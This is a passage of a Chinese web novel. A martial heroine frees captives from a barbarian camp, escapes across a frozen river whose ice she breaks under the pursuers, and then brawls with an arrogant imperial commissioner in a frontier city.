萧继昂翻身上马,手里的长枪瞄准了山下,“杀!” 呐喊声响彻云霄,两队精锐如离弦之箭冲下山坡。青山村的村民紧随其后,压抑多日的怒火在这一刻爆发。 蛮子们显然没料到会有人突袭,一时间乱作一团。帐篷中冲出大批持刀的壮汉,有的甚至来不及穿上衣服。 沈长菱的灵识扫过帐篷,心头突然一紧。在靠近水边的三顶帐篷中,她感应到了十几个微弱的生命气息。那里关着汉人女子和孩童,有的女子衣不蔽体,有的还抱着婴儿。 她毫不犹豫地朝那个方向冲去,脚下生风。 一个蛮子挡路,挥舞着弯刀向她劈来。沈长菱手中长鞭一甩,直接将他抽飞。她紧跟而上,长棍砸下,对方脑袋如西瓜般碎裂,鲜血染红了积雪。 身后突然传来劲风,一个蛮子扑上来勒住她的脖子。沈长菱反手一拉一折,蛮子的手臂应声而断,紧接着一棍子结果了他的性命。 “好身手!”萧继昂在马上大笑,长枪如龙,已经挑飞了三个敌人。 沈长菱顾不上回应,直奔关押人质的帐篷。掀开帘子,里面的女子惊叫着缩成一团,有的甚至开始啜泣。 “别怕,我是来救你们的。”她放缓语气,“我们是官府派来的。” 一个年长些的女子怯怯地抬头,“是...是边军来了吗?” “对,我们是边军。”沈长菱递过去一块皮子,“时间紧迫,相信我,无论去哪里都比在这里强。” 她一边说着,一边将皮子和几把削尖的木棍分给这些女子。有了武器,她们的眼神才稍稍坚定了些。 顾不上多说,沈长菱又奔向其他帐篷。每到一处,她都重复着同样的动作——割下皮子,给予希望。寒风中,她的脸被冻得通红,但她顾不上这些。 来到关押孩子的帐篷时,沈长菱的心猛地揪紧。帐篷里的味道比其他地方更难闻,十几个孩子挤在一起取暖,有的瘦骨嶙峋,有的伤痕累累,还有的已经奄奄一息。 “边军来救你们了,快穿上衣服,我们马上离开!”她一边说,一边割下更多的皮子。 角落里,一个蜷缩的身影猛地抬头。那是个面目全非的少年,浑身脏兮兮的,头发结成一团。他张着嘴,却只能发出“啊啊”的声音,眼睛直勾勾地盯着沈长菱。 第一百二十四章 虎子 沈长菱没有注意到这道目光,她已经冲向了畜群。驯服牲畜是当务之急,只有控制住畜群,才能带着这些人顺利撤离。 那少年跌跌撞撞地追了出来,光着脚在雪地里狂奔。一个蛮子举刀欲砍,寒光闪过,一支**箭及时射穿了他的喉咙。蛮子倒下时,溅起的雪花染上了鲜红的血迹。 沈明文抱起了少年,“你是谁家的孩子?”他的声音温和,带着几分关切。 少年拼命挣扎,目光死死盯着沈长菱的方向,发出急切的呜咽声。他的手臂上满是冻疮的痕迹,有些地方结了痂,有些地方还在渗血。 沈明齐若有所思地看着少年的反应,“你知道我妹吗?” 此时的沈长菱正在和一头红牛较劲。这牛体型庞大,脾气暴躁,几次想要用角顶她。但很快她就发现这牛并非首领,于是放弃了驯服它,转而去寻找马群的王者。 那是匹棕红色的骏马,身形矫健,气势凌人。它站在马群前方,警惕地打量着靠近的沈长菱。当她再往前一步时,马儿暴躁地扬起前蹄。 沈长菱毫不畏惧,在马儿攻击的瞬间,她一个漂亮的擒拿,借力打力将马儿摔倒在地。雪地上顿时翻滚起一片白雾。 “我让你乖乖的,服不服!”她的声音里带着不容置疑的威严,手上的力道却恰到好处,既不会伤到马儿,又能让它明白谁才是主人。 马儿挣扎了几下,最后发出一声低鸣,似乎认可了这个实力强悍的新主人。其他马匹见状,也都安静下来。 远处的山坡上,蛮子的援军已经若隐若现。他们的喊杀声随风飘来,惊得营地里的鸟儿四散而逃。 “长菱!”沈明文抱着那少年追了上来,“这孩子好像认识你,一直在找你。” 沈长菱转头,对上了那双饱含期待的眼睛。破烂的衣衫下露出的手臂上,那些熟悉的冻疮痕迹让她瞬间红了眼眶。记忆如潮水般涌来。 “虎子?”她的声音有些发颤。 少年无声地流泪,重重地点头。他想说话,却只能发出含糊不清的声音,眼泪止不住地往下流。 沈长菱将他抱上马背,“你怎么会在这里?你家人呢?” 虎子只是摇头,眼泪流得更凶了。他的反应让沈长菱心里一沉,大概猜到了什么。 萧继昂已经在催促,“快走!蛮子追上来了!”他的声音里带着焦急,“再不走就来不及了!” 获救的女子们站在寒风中,身上只有简单的皮子遮蔽,脚上还拖着玄索。她们瑟瑟发抖,但眼中却燃起了希望的光芒。有人开始帮助年老体弱的同伴,有人抱起了无力行走的孩子。 沈长菱看着远处逼近的蛮子,握紧了缰绳。马儿似乎感受到了她的决心,打了个响鼻,蹄子不安地刨着地面。 “所有人听着!”她高声喊道,“能骑马的上马,不会的就抓紧马鬃!我们要快速撤离,一定要活着回去!” 话音未落,远处传来一阵密集的马蹄声。蛮子的援军已经出现在视野中,他们挥舞着武器,发出野兽般的嚎叫。 沈长菱深吸一口气,她眼神一凛,手中玄索微微晃动,冰冷的金属在空气中划出一道寒光。链条末端的铁钩在地面上拖出一道浅痕,发出令人牙酸的摩擦声。 萧继昂站在最前方,身形挺拔如松,目光在身后的妇孺间扫过,“列队!”声音沉稳有力,仿佛能给人无穷的力量。 两队精锐迅速在前方列阵,盾牌相接,长矛如林,将弱小的人群护在身后。 “趁现在,大家去捡些武器,分给她们防身!”她高声喊道,声音里带着一丝急切,“帐篷也拆了带走,路上用得着!” 卫大娘一个箭步窜了出来,脸上带着几分得意,“嘿!老娘早就准备好了!” 她将背上的包袱往地上一扔,里面刀枪棍棒叮当作响。 其他人见状,也纷纷将偷偷捡来的武器拿出来。有的是断了的长矛,有的是缺了口的**,甚至还有几把生锈的铁锤。 那些女子却站在原地,目光中满是犹豫和恐惧。有人下意识地后退几步,有人紧紧抱住自己的孩子,还有人浑身发抖,眼泪无声地流下。 沈长菱看在眼里,心中一叹。这些女子被蛮子摧残,早已失去了反抗的勇气。她能理解她们的恐惧,但现在不是畏缩的时候。 “拿起武器,保护自己。”她走到女子们面前,声音温和却坚定,“想活着回家,就要学会反抗。不是所有人都能保护你们,总有时候要靠自己。”

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“撤!”她当机立断,“能打的断后,其他人先走!往东边山谷撤!” 林月一把将沈丰年推上马背,“你先走,别拖累我们!”她的声音粗犷,但眼中闪过一丝担忧。 沈长菱将虎子交给父亲,又把玉猿放在虎子怀里。她摸了摸虎子的头,声音轻柔,“等我回来找你,记住,一定要听祖父的话。” 虎子重重点头,眼中满是不舍和担忧,“姐姐,你一定要回来。” 弓木祥大喊,“拦住他们!一个都不许放过!”他的声音中带着狂热的兴奋。 沈长菱手中玄索横扫,将冲在最前面的骑兵掀翻在地。玄索呼啸着划过空气,每一击都带着致命的力量。 萧继昂**如龙,直取弓木祥咽喉。枪尖闪烁着寒光,带着凌厉的杀意。他的每一招都精准狠辣,逼得弓木祥连连后退。 林月的铁锤势大力沉,一锤一个,无人能挡。她的身形虽然魁梧,但动作灵活,每一击都能让敌人痛不欲生。 第一百二十五章 撤 沈明齐和沈明文一远一近,配合默契。沈明齐的弓箭准确无误,每一箭都能找到敌人的破绽。沈明文的短刀灵活多变,专挑敌人要害。 但敌众我寡,形势渐渐不利。蛮子们前仆后继,不断有新的敌人补上来。 “看来我们是成了他们的眼中钉了。”萧继昂轻笑一声,眼底却闪过一丝凝重。他转头看向身旁的沈长菱,“准备好了吗?” 沈长菱默默点头,手中玄索微微晃动。她的目光越过蛮族大军,落在后方那些惊慌失措的百姓身上。他们正在匆忙地将牛羊赶向安全地带,但显然速度不够快。 “给我冲!”弓木祥一声令下,蛮族骑兵如潮水般涌来。 萧继昂嘴角勾起一抹玩世不恭的笑意,“不要钱的牛羊吃起来真香,我现在也爱上了你们这种抢劫的日子。”话音未落,他手中的长刀已如闪电般劈出。 刀光闪烁间,最前排的几名蛮族骑兵应声落马。但更多的敌人前仆后继地涌来,如同无边无际的黑色潮水。 沈长菱的玄索在空中划出优美的弧线,每一击都精准地命中目标。她的动作看似轻盈,实则蕴含着巨大的力量。几名想要突破防线的蛮族战士被玄索扫中,连人带马翻滚在地。 “这个女人!”弓木祥眼中闪过一丝忌惮。 战斗愈发激烈,萧继昂和沈长菱背靠背站在一起,将冲上来的敌人一一击退。但他们都知道,这样下去支撑不了太久。 “萧叔,百姓们差不多撤完了。”沈长菱一边挥舞玄索,一边低声说道。她的额头已经渗出细密的汗珠,呼吸也略显急促。 萧继昂点点头,大声喊道,“撤!” 沈长菱立刻会意,扬声喊道,“跑!”她能感受到身后弓木祥那股子恨意几乎要化作实质。 弓木祥咬牙切齿地盯着萧继昂的背影,胸中怒火翻腾。这个汉人,刚才还要拼命,转眼就要逃,真是个懦夫!他发誓要亲手割下这个人的脑袋。 “追!一个都不许放过!”弓木祥怒吼着下令。 蛮族骑兵如狼似虎地追赶上来。箭矢破空而至,发出尖锐的呼啸声。 “萧叔,他们追得太紧了!”沈长菱一边挥刀格挡飞来的箭矢,一边喊道。她的马已经开始喘息,显然体力不支。 萧继昂回头看了一眼,蛮子们穷追不舍,距离越来越近。他的眉头紧锁,快速思考着对策。 “你们先走!”他故意放慢速度,准备断后。但沈长菱却突然拽住他的马缰。 “等等!”她的声音里带着一丝慌乱,“我们这是要去哪儿呢?” 四周的环境越来越陌生,连绵起伏的山丘间看不到任何熟悉的标志。如果迷失方向闯入其他部落的地盘,那就真是自投罗网了。 萧继昂也是一愣,但很快镇定下来,“管他呢,寒陵在北边,咱们现在往北跑就对了!” 沈长菱看了眼身后越追越近的蛮子,一咬牙,“我来挡住他们!” 她纵身跃下马背,单手挂在马上,另一只手握着玄索横扫而出。玄索在空中划出一道银色的弧线,发出刺耳的呼啸声。 “让开!”她朝着边军大喊。 玄索扫过,顿时将一片追兵连人带马掀翻在地。沈长菱借势翻身上马,继续向前狂奔。她的动作行云流水,仿佛早已演练过千百遍。 弓木祥见状大怒,脸上的伤疤都扭曲起来,“弓箭手,给我射死她!” “小心!”萧继昂及时提醒。 沈长菱早有准备,身形如鬼魅般在马背上闪躲,将射来的箭矢一一避开。她的每个动作都恰到好处,既不会影响马匹的速度,又能完美地躲过致命攻击。 “前面有山!”萧继昂眼前一亮,指着远处起伏的山势,“那里地形复杂,能甩掉他们!” 沈长菱一边护送林月等人先走,一边挥舞玄索将射来的箭矢打落。玄索在她手中仿佛有了生命,每一次挥舞都能准确地击中目标。 萧继昂也不甘示弱,“弓箭手,还击!” 边军的箭矢破空而出,与蛮族的箭雨相撞。双方你来我往,箭如雨下。沈长菱和林月更是默契配合,抓起地上的牛羊朝追兵砸去,一时间人仰马翻。 趁着这个机会,众人加速逃窜。沈长菱暗中将一些掉队的牛羊收入空间,没人注意到这个细节。她的额头上已经布满汗水,但眼神依然坚定。 终于翻过几道山坡,追兵的声音渐渐远去。众人的心才稍稍放松下来。 萧继昂松了口气,擦了擦额头的汗水,“总算甩掉他们了。” 沈长菱却皱眉道,“别高兴太早,我们现在迷路了。”她环顾四周,入目皆是陌生的景色。 天色渐暗,众人只得在一条小溪边扎营。沈长菱找来野苜蓿为伤员疗伤,村民们则忙着宰羊充饥。营地里弥漫着烤肉的香气,但没人有心情享受。 就这样,一行人在山里走了两天。 夜深人静,突然一声鹰啸划破长空。 萧继昂猛地惊醒,手按在刀柄上,“又来了,这该死的畜生!”萧继昂咬牙切齿地说道,眼中闪过一丝狠厉。他的脸上布满了细小的伤痕,那是被寒风割裂的痕迹。 沈长菱凑近萧继昂,压低声音道,“萧叔,你有没有发现,这两天巨鹰的行动模式变了?它不再是简单地跟踪我们,而是在试图驱赶我们往特定的方向走。” 萧继昂眯起布满血丝的眼睛,目光在远处游移,“确实,这畜生越来越不按套路出牌了。蛮子怕是已经没了耐心,想要速战速决。” 话音未落,身后传来整齐的马蹄声,扬起的尘土在寒风中飘散。沈长菱能感受到地面细微的震动,那是追兵们急促的步伐带来的。她握紧了手中的铁棍,这几日的逃亡让她对这种节奏再熟悉不过。 队伍中的妇孺们面露惊恐,有的抱紧了怀中的婴儿,有的紧紧拽住身边亲人的衣袖。马车上的物资在颠簸中发出闷响,每一声都像是敲在人心上的重锤。 “前方没路了!”突然有人惊呼,声音中带着绝望。 沈长菱早已用灵识探查到前方地形——一条宽阔的江面横亘在眼前,厚厚的冰层覆盖其上。冰面在阳光下泛着冷冽的光,仿佛一把横亘在逃亡之路上的利剑。 萧继昂快步上前查看,忽然眼前一亮,沧桑的面容上浮现出一丝希望,“是清远江!过了这条江就是寒陵了!” “你确定?”沈长菱有些惊讶,目光在江面上扫过。 “我在这条江边长大,怎会认错?”萧继昂语气坚定,眼中闪烁着激动的光芒,“快,包马蹄!” 沈长菱恍然大悟,难怪这两天蛮子追得如此紧迫,原来是不想让他们回到寒陵。她的目光扫过队伍中疲惫的面孔,每个人都带着对家园的渴望。 第一百二十六章 不用怕 众人手脚麻利地用布条包裹马蹄和牛蹄,防止在冰面上打滑。寒风中,布条被冻得僵硬,但没人喊苦叫累。生的希望就在对岸,这点苦算得了什么? “羊就放生吧,能带走多少就拿多少。”萧继昂当机立断,声音中带着决绝。 沈丰年骑在马上,紧张得不敢低头,手指紧紧攥着缰绳,“娘啊,这要是掉下去可怎么办?冰这么厚,真的能承受得住我们这么多人吗?” “有我在,你怕什么?”林月瞪了儿子一眼,眼中闪过一丝无奈,“你爹在世的时候就说过,你这胆子得练练。” 蛮子们迅速追了上来,马蹄踏在冰面上发出清脆的响声。因为没有包裹马蹄,不少战马在冰面上打滑,连人带马摔作一团。空气中弥漫着马匹的嘶鸣和蛮子们的怒骂声。 弓木祥从马背上一跃而下,稳稳地站在冰面上。他冷冷地盯着萧继昂,眼中闪烁着嗜血的光芒,“今天,你的人头我可要了!这些日子的追逐,让我们都很不痛快。” “你这人真是不开窃。”萧继昂嗤笑一声,眼角的皱纹舒展开来,“你在这耗着,说不定你那些兄弟已经在打你的主意了。毕竟,一个连几个平民都抓不住的将领,怎么配统领大军?” 弓木祥被这话激怒,提刀就冲了上来。刀锋在冰面上划出道道火花,寒光四溅。 沈长菱见状,立即挥动铁棍阻挡其他追兵。这些日子的交手,让蛮子们对她手中的铁棍颇为忌惮。那看似普通的铁棍,不知道有多少人折在它的变化之下。 一个蛮子趁她挥棍之际,滑跪躲过,刀锋直取她的膝盖。寒光闪过,带着凛冽的杀意。 沈长菱反应极快,铁棍瞬间化作玄索,缠向对方脖颈。金属相撞的声音在寒风中格外清脆。 那蛮子虽然及时举刀格挡,却抵不过沈长菱的蛮力,连人带刀被勒断了气管。他的身体重重地摔在冰面上,鲜血染红了周围的冰层。 “娘!锤子借我用一下!”沈长菱朝林月喊道,声音穿透呼啸的寒风。 林月二话不说,直接把百斤重的锤子扔了过来。沉重的锤子在空中划出一道优美的弧线。 沈长菱手持铁锤,一击又一击地砸向冰面。每一下都震得人心颤,冰屑四溅,在寒光中闪烁着森然的光芒。她的额头渗出细密的汗珠,很快就被刺骨的寒风吹干。 “你这个疯女人!”弓木祥的怒吼声在寒风中格外刺耳,他那张被寒风吹得通红的脸上写满了愤怒,“你想把所有人都拖下水吗?” 沈长菱并未理会他的咆哮,反而加快了手上的动作。她能感受到冰面下的裂纹在缓慢蔓延,就像蛛网般悄无声息地扩散。寒气顺着裂缝渗出,在空气中凝结成白霜。 “怎么?堂堂蛮族勇士,连两个弱女子都对付不了?”她一边躲闪着蛮子们的攻击,一边不忘挑衅,声音里带着显而易见的讥讽。 几个蛮子闻言大怒,挥舞着手中的兵器向她冲来。沈长菱灵活地在冰面上滑行,借着对方的冲势,让他们撞在一起。沉重的撞击声中,冰面发出不堪重负的呻吟。 林月见状,立即会意,提着铁锤加入了女儿的阵营,“一群废物,连我这个老太婆都打不过,还好意思自称勇士?”她的声音中带着浓浓的嘲讽,手中的铁锤挥舞得虎虎生风。 母女俩的配合天衣无缝,一个在前吸引火力,一个在后继续破坏冰面。沈长菱的灵识不断探查着冰层的状况,每一击都精准地落在最薄弱的位置。 寒风呼啸,裹挟着细碎的冰屑,在空中形成一道道白色的帘幕。战马的嘶鸣声、兵器的碰撞声、人们的怒吼声,所有的声音都被风声撕扯得支离破碎。 萧继昂与弓木祥缠斗正酣,听到身后的动静,心中暗暗叫苦。这对母女简直是在玩命!他一边与弓木祥周旋,一边分神关注着她们的情况。 “轰!”又是一声巨响。 沈长菱感受到脚下的冰层传来细微的震动,眼底闪过一丝喜色。她的手指微微颤抖,不是因为恐惧,而是因为兴奋。 时机到了! “撤!”她一声令下,声音清亮地划破寒风。 边军们早已习惯了她的指挥,闻声立即向后撤退。多年的训练让他们形成了条件反射,即便不明白具体原因,也会无条件服从她的命令。 蛮子们却不明就里,还想追击。他们粗重的喘息声在寒风中格外清晰,脚步声踏在冰面上发出令人牙酸的咯吱声。 沈长菱和林月对视一眼,眼神中闪过默契的光芒。她们同时举起铁锤,肌肉绷紧,全身的力量都集中在这一击上。 “咔嚓——” 一声脆响,冰面瞬间裂开。裂纹以惊人的速度向四周蔓延,就像突然绽放的冰花。 “啊!”惨叫声此起彼伏。 大片的蛮子跌入冰窟,冰冷的江水瞬间吞噬了他们。他们的挣扎激起大片水花,但很快就被寒冷的江水夺去了力气。 萧继昂见状,立即调转马头,“快上马!”他的声音里带着焦急,马蹄在冰面上打滑,发出刺耳的声响。 林月一个翻身上了马,动作利落得不像她这个年纪的人。沈长菱却在最后关头被裂开的冰面绊住,脚下一滑。 “噗通!” 沈长菱只觉双腿一沉,整个下半身瞬间被刺骨的江水包裹。冰水顺着衣物缝隙渗入,如同千万根细针扎进肌肤。她下意识地倒吸一口凉气,寒意瞬间侵袭全身。 “不能慌。”她在心里默念,强迫自己保持冷静。真气迅速运转,一丝暖意从丹田涌向四肢百骸。 手中长刀猛地向前刺入冰面,借力将身子往前挪动。刀刃与冰面摩擦发出刺耳的声响,碎冰四溅。她能感觉到冰层在自己身下不断发出不祥的响动,仿佛随时都可能完全碎裂。 远处传来马蹄声,萧继昂和林月正策马奔来。 “别过来!”沈长菱急促地喊道,声音因寒冷而微微发颤,“冰面不结实!” 萧继昂猛地勒住马缰,战马发出一声嘶鸣。林月也赶紧停下脚步,焦急地看着陷入冰窟的沈长菱,脸上写满担忧,“长菱,你撑住!” “让我来救你!”萧继昂三下五除二脱下外衣,手指灵活地将衣服拧成绳索。他的动作干净利落,显然经验丰富。 沈长菱却摇头,咬紧牙关又往前挪了几分,“不用,我自己能行!”她不想让任何人冒险。冰面随时可能完全碎裂,如果萧继昂也掉下去,情况只会更糟。 一刀接一刀地向前凿进,每一次用力都让冰冷的江水浸透更多衣物。寒意如同一只无形的手,紧紧扼住她的咽喉。手臂因用力而微微发抖,但她不敢有丝毫松懈。 第一百二十七章 赶紧走 远处的岸边,已经聚集了不少人。沈丰年带着一队边军赶到,看到女儿的处境,脸色瞬间变得煞白。 “快去找绳子!”他急切地吩咐手下。 沈明齐已经翻身下马,正要去帮忙,却被沈长菱的一声厉喝拦住,“都别过来!冰面撑不住那么多人!” 终于,在又一记用力之下,她整个人爬上了结实的冰面。湿透的衣物紧贴在身上,寒风一吹更是刺骨。她强撑着站起身,双腿却不受控制地打颤。 林月连忙上前,二话不说就要脱下皮袄给她披上。 “别!”沈长菱推开皮袄,“你自己穿着,我们得赶紧走。”她知道现在不是贪图温暖的时候,必须尽快赶到寒陵城。 寒风呼啸而过,湿透的衣裳迅速结冰,贴在身上如同一层冰甲。她只能不断运转真气抵御寒意,但体力正在急速流失。每一次呼吸,冷空气都像刀子一样划过喉咙。 “快上马!”萧继昂沉声道,翻身上马后伸手将她拉上马背。 沈长菱浑身发抖,紧紧抓住马鞍才能保持平衡。萧继昂感受到她不自然的颤抖,不由得皱紧眉头。 三人策马疾驰,朝着前方的大队人马追去。远处,边军正在焦急等待。 “长菱!”沈丰年看到女儿苍白的脸色,心疼不已。他想说什么,却被林月打断。 林月没好气地瞪了丈夫一眼,“都怪你乌鸦嘴!” 茫茫雪原上,一行人疾驰向寒陵城。远远望去,高大的城墙已经若隐若现。风雪中,城墙如同一道模糊的黑线,却给人莫大的安全感。 城墙上的守卫们警惕地注视着江面,很快发现大量黑点正在靠近。瞭望塔上的士兵立刻拉响警钟,沉闷的钟声在风雪中回荡。 “敌袭!”千夫长的喊声响彻城头。他的声音中带着紧张,却不失镇定。 城门口顿时乱作一团,街道上的百姓纷纷往城内涌去。守城士兵迅速就位,弓箭手架起强弓,瞄准了远处移动的黑点。箭簇在寒光中闪烁着冷意。 “快,挂上旗帜!”萧继昂及时下令。他的声音虽然嘶哑,却依然洪亮有力。 很快,一面龙骧军的大旗在风中猎猎作响。鲜红的旗帜如同一团火焰,在灰白的天地间格外醒目。 城墙上的百夫长眯起眼睛仔细辨认,终于认出是自己人。他长出一口气,连忙命人打开城门,“快开门!是龙骧军!” 沉重的城门缓缓打开,发出低沉的轰鸣。一行人浩浩荡荡进了城,两旁的百姓纷纷让开道路,好奇地打量着这支风尘仆仆的队伍。 青山村的村民们坐在牛马上,忍不住挺直了腰板。他们从未想过有朝一日能这样大摇大摆地进城,脸上都带着掩饰不住的自豪。 沈长菱却已经没有心思去在意这些。寒意早已侵入骨髓,就连呼吸都变得困难。她紧紧攥着马鞍的手指已经失去知觉,意识也开始模糊。 萧继昂带着人往府衙赶去,心里却沉甸甸的。这一路上,他不时回头看向沈长菱,只见她脸色苍白如纸,眉头紧蹙,显然是受了风寒。 “姑娘,要不要先找个地方歇息?”萧继昂放慢脚步,关切地问道。 沈长菱摇摇头,声音有些沙哑,“不用,先把粮食送到府衙要紧。” 萧继昂欲言又止,只得继续带路。身后的马车上,装着他们好不容易抢到到的粮食,这可都是救命的东西啊。 眼看着就要到府衙门口,前方却传来一阵嘈杂声。人群中,一顶华贵的软轿正被十几个侍卫护着,缓缓向这边行来。 “让开让开!安抚使大人出门!”一个面容傲慢的侍卫挥舞着长剑,趾高气扬地喝道。他的目光扫过萧继昂一行人,眼中闪过一丝轻蔑。 萧继昂眉头紧皱,上前一步,“什么安抚使?没听说过,闪开!我们还要送粮食进府衙。” 那侍卫顿时涨红了脸,手中长剑往前一指,“大胆!这是圣上派来赈灾的欧大人,你们这些刁民竟敢如此无礼!” 萧继昂心里一动,脸上却堆起笑容,“原来是给银子的那位大人啊,早说嘛。”他转身朝后面摆了摆手,示意大家让开道路。 可那些侍卫却不依不饶,故意放慢脚步,让软轿慢悠悠地前行。他们脸上带着戏谑的笑容,显然是在故意刁难。 沈长菱本就头疼欲裂,看着这般做作的架势,心中火气直冒。她的手指无意识地摩挲着腰间的佩剑,眼中闪过一丝寒芒。 “这位大人,我们是送粮食的,能否行个方便?”林月上前一步,试图讲道理。 “送粮食?”一个侍卫冷笑道,“就凭你们这些乡下人?” 沈长菱再也忍不住,一夹马腹,胯下骏马便窜了出去。马蹄扬起的尘土,让那些侍卫不得不后退几步。 “大胆!”侍卫们纷纷拔剑,刀光剑影中闪烁着杀意。 萧继昂急得直跳脚,“使不得!这是送银子的财神爷啊!” 沈长菱冷笑一声,身形一闪便跃下马背。她的动作干净利落,丝毫看不出身体不适的样子。 一个侍卫挥剑劈来,她随手一抄,两根手指便夹住了剑刃。只听“咔嚓”一声,长剑应声而断。断剑如飞蝗般射向后方扑来的侍卫,逼得他们连连后退。 林月见状也加入战团,母女俩配合默契,转眼间就制住了几个侍卫。那些平日里趾高气扬的侍卫,此刻竟无一人是她们的对手。 萧继昂暗中使了个眼色,手下们立刻会意,趁乱将其他侍卫推搡到一旁。府衙门前顿时乱作一团,喊杀声此起彼伏。 “住手!” 一道威严的声音传来,靖王带着亲兵赶到了现场。他身着锦袍,面容威严,目光如炬地扫视着场中众人。 软轿中缓缓走出一个身材瘦削的男子,手中还摇着把扇子,一副文人做派。他的脸上带着几分倨傲,眼神中透着不屑。 沈长菱看得直皱眉,这种天气还装模作样,不是有病是什么。她强忍着头痛,手中剑尖微微颤动。 “王爷,你看看你的属下,简直无法无天!”欧扬怒气冲冲地说道,扇子“啪”的一声合上,指着沈长菱等人,“这些刁民竟敢对朝廷命官不敬,该当何罪!” 靖王目光在场中扫过,看到了被沈长菱制住的侍卫,又看到了马背上的货物,眼中闪过一丝惊喜。这些粮食,正是他急需的。 “都是误会。”靖王淡淡道,语气中带着几分安抚,“请安抚使大人入内详谈。” 欧扬冷哼一声,整了整衣袖,昂首阔步地走进府衙。他经过沈长菱身边时,还特意瞥了一眼,眼中满是轻蔑。 沈长菱连个白眼都懒得给他,跟着萧继昂往里走。她的脚步虚浮,意识也开始模糊,只觉得四周的景物都在旋转。 第一百二十八章 奉旨前来 她浑浑噩噩地跟着人群进了大堂,直到所有人都落座,才发现自己似乎来错了地方。可此时再想退出去,已经来不及了。 寒陵太守陈自谦强压下心头的怒火,看着眼前这个趾高气扬的欧扬,脸上却依旧挂着温和的笑容。 “欧大人远道而来,舟车劳顿,不如先歇息片刻?”陈自谦的声音依旧温和,仿佛在与老友叙旧。 堂下众人面面相觑,空气中弥漫着一股难以言喻的压抑。欧扬环视一周,目光在每个人脸上停留片刻,最后落在了靖王身上。他的嘴角微微上扬,带着几分轻蔑。 “本官奉旨前来监督赈灾,岂有时间歇息?”欧扬冷笑一声,“况且眼下灾情紧急,本官倒要看看,这寒陵是如何治理的。” 他说着,从袖中取出一卷奏折,展开后扫了一眼,“据报,寒陵连年干旱,百姓流离失所。朝廷拨款赈灾,却迟迟不见成效。” 萧继昂站在一旁,听到这话,额头上的青筋突突直跳。他死死攥着拳头,指甲深深陷入掌心,却硬是忍住了没有发作。 沈长菱靠在角落的椅子上,高烧未退的她只觉得整个人都在天旋地转。她微微眯起眼睛,试图让自己的视线变得清晰一些。衙门内此起彼伏的争执声像是一把锤子,不断敲击着她的太阳穴。 “欧大人此言差矣。”陈自谦放下茶盏,“寒陵地处边陲,百姓生活本就艰难。这次干旱,我们已经尽力救助......” “尽力?”欧扬打断他的话,“一群只知打打杀杀的武夫,何谈治理地方?赈灾之事,岂是尔等能懂?” 这话一出,堂内气氛骤然紧张。萧继昂再也按捺不住,猛地拍案而起。 “放肆!”萧继昂怒喝道,“若无我等在此镇守,你能在京城过你的安生日子?没有我们这些"武夫",南边的外族早就打到京城了!” 沈丰年见状,连忙上前拉住萧继昂的胳膊,低声劝道,“萧将军,消消气。” 欧扬见萧继昂发怒,眼中闪过一丝得逞的笑意。他转向靖王,拱手道,“王爷请看,此人公然顶撞朝廷命官,该当如何处置?” 陈自谦暗自冷笑。这欧扬仗着有个当贵妃的姑母,竟敢在寒陵如此放肆。他看了眼靖王,见对方面色阴沉,知道这位边疆王爷怕是也动了怒。 “两位大人息怒,有话好说。”陈自谦打圆场道,“欧大人既然来了,不如说说您的想法?” 沈丰年一边安抚着头晕目眩的女儿,一边焦急地望着门外,大夫怎么还不来?女儿的额头烫得吓人,这可如何是好? 欧扬整了整衣袍,转向靖王,语气咄咄逼人,“下官奉皇命而来,自当看顾这笔赈灾银两用在实处。王爷若是包庇这等不知尊卑的下属,怕是有违圣意啊。” 陈自谦笑眯眯地问,“不知欧大人打算如何安排这笔银两?总不能像前几日那般,只是在城门口施粥吧?” 欧扬脸色一僵,随即又恢复了傲慢的神色。他前几日确实在城门摆了施粥棚,却被那些刁民嫌弃,说不如直接发放粮食。这事让他颜面尽失,此刻被提起,更是怒上加怒。 靖王始终面无表情地看着这一切。朝中不少人看不起他这个边疆王爷,他早已习惯。但今日这欧扬,实在是欺人太甚。 “够了!”靖王突然开口,声音中带着不容置疑的威严,“你除了会耍嘴皮子,可知一斗米能买多少粗粮?可知重建一间房需要多少砖瓦?什么都不懂,就在这指手画脚!” 沈长菱实在忍不住了,她觉得整个人都要被这些争吵声撕裂。她睁开眼,直视欧扬,“吵死了!” 欧扬闻言大怒,指着沈长菱喝道,“来人!把这刁民拿下!” 话音未落,沈长菱已经站了起来。她虽然发着高烧,但多年习武的本能让她动作依旧迅捷。一把揪住欧扬的衣领,将他重重摔在地上,拳头如雨点般落下。 “让你吵!让你吵!”她一边打一边骂,完全不顾对方是朝廷命官。 靖王悠然端起茶杯,看着这一幕暗自畅快。这个不知天高地厚的欧扬,今日也该尝尝教训了。 陈自谦和萧继昂对视一眼,识趣地退到门外,还体贴地带上了门。衙门内传来欧扬的惨叫声和沈长菱的怒骂声,倒是让人听着痛快。 等沈长菱打累了,沈丰年赶紧上前拉住女儿,“歇会儿,歇会儿。你还发着烧呢。” 欧扬已经被打得鼻青脸肿,躺在地上哼哼唧唧说不出话来。他那张平日里总是带着傲慢神色的脸,此刻肿得像个猪头。 这时,司马澜带着张老急匆匆赶到。他们一进门就看到了这副场景,衙门内一片狼藉,欧扬躺在地上哀嚎,沈长菱瘫坐在椅子上,眼神呆滞。 张老摸了摸沈长菱滚烫的额头,不由得笑道,“这孩子,是烧糊涂了?” 沈丰年一把抓住张老的胳膊,急切地说,“大夫,您快给看看!” 张老不慌不忙地放下药箱,搭上沈长菱的手腕。屋内一片寂静,只有窗外的风声簌簌作响。 林月和沈丰年的目光紧紧盯着张老的表情变化,生怕错过任何细节。 地上的欧扬还在哼哼唧唧地想引起注意,林月冷冷地瞥了他一眼,手指捏得咔咔作响。这一眼吓得欧扬立刻捂住了嘴,装起了乖巧。他缩在角落里,眼神却不时地飘向沈长菱,带着几分阴毒。 “张老,到底怎么样?”沈丰年的声音都在发抖,手心里全是冷汗。 张老松开沈长菱的手腕,捋了捋胡子,没好气道,“我还以为是什么绝症呢,不过是风邪入体罢了。这丫头身子骨壮实得很,吃两副药就能好。” 沈丰年听完,悬着的心终于落了地,整个人都瘫软在椅子上。林月也长出了一口气,眼角有些湿润。 萧继昂抢过张老刚写好的药方,“这事交给我,你们一路辛苦了。”他叫来衙役去抓药,又安排侍从给他们准备了客房。 林月也不客气,直接扛起沈长菱跟着侍从去了。一路上,她能感觉到沈长菱的身体滚烫,像是一块烧红的炭。 客房里,沈长菱被安置在床上,额头上敷着冰凉的毛巾。她迷迷糊糊间,感觉有人在给她灌药。那药苦得要命,她下意识地想闭嘴,鼻子却被人捏住了。 “乖,把药喝了。”是沈丰年的声音,带着几分哽咽。 